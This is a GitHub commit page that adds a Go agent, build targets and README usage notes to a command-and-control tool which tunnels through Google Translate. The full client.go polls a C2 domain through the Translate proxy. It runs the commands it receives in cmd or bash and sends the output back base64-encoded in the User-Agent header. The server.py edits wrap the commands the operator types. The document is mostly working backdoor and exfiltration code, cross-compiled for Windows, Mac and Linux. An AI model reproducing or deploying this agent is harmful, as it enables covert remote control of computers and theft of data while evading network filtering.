Skip to content

Commit 36bc380

Browse files
committed
Go agent
1 parent a575b19 commit 36bc380

File tree

4 files changed

+165
-5
lines changed

4 files changed

+165
-5
lines changed

Makefile

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
build:
2+
mkdir -p `pwd`/bin
3+
GOOS=windows GOARCH=amd64 go build -o `pwd`/bin/client_Windows64.exe client.go
4+
GOOS=windows GOARCH=386 go build -o `pwd`/bin/client_Windows.exe client.go
5+
GOOS=darwin GOARCH=386 go build -o `pwd`/bin/client_Mac client.go
6+
go build -o `pwd`/bin/client_Linux client.go
7+
8+
clean:
9+
rm -Rf `pwd`/bin

README.md

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,23 +8,34 @@ This tools uses [Google Translator](https://translate.google.com) as a proxy to
88
# Environment Configuration
99
First you need a VPS and a domain, for the domain you can get a free one on [Freenom](https://freenom.com/).
1010

11-
# Usage
11+
# Server
1212
Start the server.py on your VPS
1313
```bash
1414
python2.7 server.py
1515
Server running on port: 80
1616
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062
1717
```
18-
It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server.
18+
It will provide you secret key which will be used on the client.
19+
20+
# Client bash
21+
Run the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server.
22+
1923
```bash
2024
bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
2125
```
2226
Now you have an interactive shell using named pipe files, **YES** you can `cd` into directories.
2327

28+
# Client Go
29+
You first need to download the binarie or compile it, then the processe is equal of the bash client,
30+
```bash
31+
./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
32+
```
33+
With this client you have the hability to run it on Linux, Mac and Windows, but the client do not have a interactive shell yet.
34+
2435
# Poc
2536
[![CODE_IS_CHEAP_SHOW_ME_THE_DEMO](http://img.youtube.com/vi/02CFsE0k96E/0.jpg)](http://www.youtube.com/watch?v=02CFsE0k96E)
2637

2738
# Known issues
2839
* ~~Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like `.bashrc`.~~ `Problem fixed using User-Agent header to sent data`.
40+
* ~~The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils`~~ `Problem fixed, now the client is write also in go.
2941
* It's not a problem, but I just don't know if there's a rate limit on Google Translator
30-
* The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils`

client.go

Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
package main
2+
3+
import (
4+
"bytes"
5+
"encoding/base64"
6+
"fmt"
7+
"log"
8+
"net/http"
9+
"os"
10+
"os/exec"
11+
"runtime"
12+
"strings"
13+
"github.com/antchfx/htmlquery"
14+
"golang.org/x/net/html"
15+
"golang.org/x/net/html/charset"
16+
)
17+
18+
type requestData struct {
19+
url string
20+
userAgent string
21+
method string
22+
}
23+
24+
var C2URL string
25+
var USERAGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
26+
var RESULT string
27+
28+
func xpathParser(html *html.Node, xpath string) string {
29+
a := htmlquery.FindOne(html, xpath)
30+
return htmlquery.InnerText(a)
31+
}
32+
33+
func Encode(data []byte) string {
34+
return base64.StdEncoding.EncodeToString(data)
35+
}
36+
37+
func parseCommand(command string) string {
38+
if strings.Contains(command, "STARTCOMMAND") {
39+
startIndex := strings.Index(command, "STARTCOMMAND")
40+
endIndex := strings.Index(command, "ENDCOMMAND")
41+
return command[startIndex+len("STARTCOMMAND") : endIndex]
42+
} else {
43+
return ""
44+
}
45+
}
46+
47+
func doRequest(request requestData, printar bool) (*html.Node, error) {
48+
client := http.Client{}
49+
req, err := http.NewRequest(request.method, request.url, nil)
50+
req.Header.Add("User-Agent", request.userAgent)
51+
resp, err := client.Do(req)
52+
if err != nil {
53+
return nil, err
54+
}
55+
r, err := charset.NewReader(resp.Body, resp.Header.Get("Content-Type"))
56+
if err != nil {
57+
return nil, err
58+
}
59+
return html.Parse(r)
60+
}
61+
62+
func interact(request requestData) *html.Node {
63+
resp, err := doRequest(request, false)
64+
if err != nil {
65+
fmt.Println(err)
66+
}
67+
return resp
68+
}
69+
70+
func translateFlow() string {
71+
return thirdStep(secondStep(firstStep()))
72+
}
73+
74+
func firstStep() string {
75+
request := requestData{
76+
url: "https://translate.google.com/translate?&anno=2&u=" + C2URL,
77+
userAgent: USERAGENT,
78+
method: "GET",
79+
}
80+
result := xpathParser(interact(request), "//iframe/@src")
81+
return result
82+
83+
}
84+
85+
func secondStep(url string) string {
86+
request := requestData{
87+
url: url,
88+
userAgent: USERAGENT,
89+
method: "GET",
90+
}
91+
92+
result := xpathParser(interact(request), "//a/@href")
93+
return result
94+
}
95+
96+
func thirdStep(url string) string {
97+
var useragent string
98+
if len(RESULT) != 0 {
99+
useragent = RESULT
100+
} else {
101+
useragent = USERAGENT
102+
}
103+
104+
request := requestData{
105+
url: url,
106+
userAgent: useragent,
107+
method: "GET",
108+
}
109+
110+
var b bytes.Buffer
111+
html.Render(&b, interact(request))
112+
return parseCommand(b.String())
113+
}
114+
115+
func execCommand(cmd string) {
116+
var output []byte
117+
if runtime.GOOS == "windows" {
118+
output, _ = exec.Command("cmd", "/c", cmd).Output()
119+
} else {
120+
output, _ = exec.Command("bash", "-c", cmd).Output()
121+
}
122+
123+
RESULT = USERAGENT + " | " + Encode(output)
124+
translateFlow()
125+
}
126+
127+
func main() {
128+
args := os.Args
129+
if len(args) < 3 {
130+
log.Fatal("Usage Error\n" + args[0] + " www.c2server.ml secret-key")
131+
}
132+
key := args[2]
133+
C2URL = "http://" + args[1] + "/?key=" + key
134+
for {
135+
execCommand(translateFlow())
136+
RESULT = ""
137+
}
138+
}
139+

server.py

100644100755
Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,10 +21,10 @@ def do_GET(self,):
2121
if len(useragent) == 2:
2222
response = useragent[1].split(',')[0]
2323
print(response.decode("base64"))
24-
self.wfile.write("")
24+
self.wfile.write("Not Found")
2525
return
2626
cmd = raw_input("$ ")
27-
self.wfile.write("{}".format(cmd))
27+
self.wfile.write("STARTCOMMAND{}ENDCOMMAND".format(cmd))
2828
return
2929
self.send_response(404)
3030
self.send_header("Content-type","text/html")
@@ -43,3 +43,4 @@ def log_message(self, format, *args):
4343
except KeyboardInterrupt:
4444
server.socket.close()
4545

46+

0 commit comments

Comments
 (0)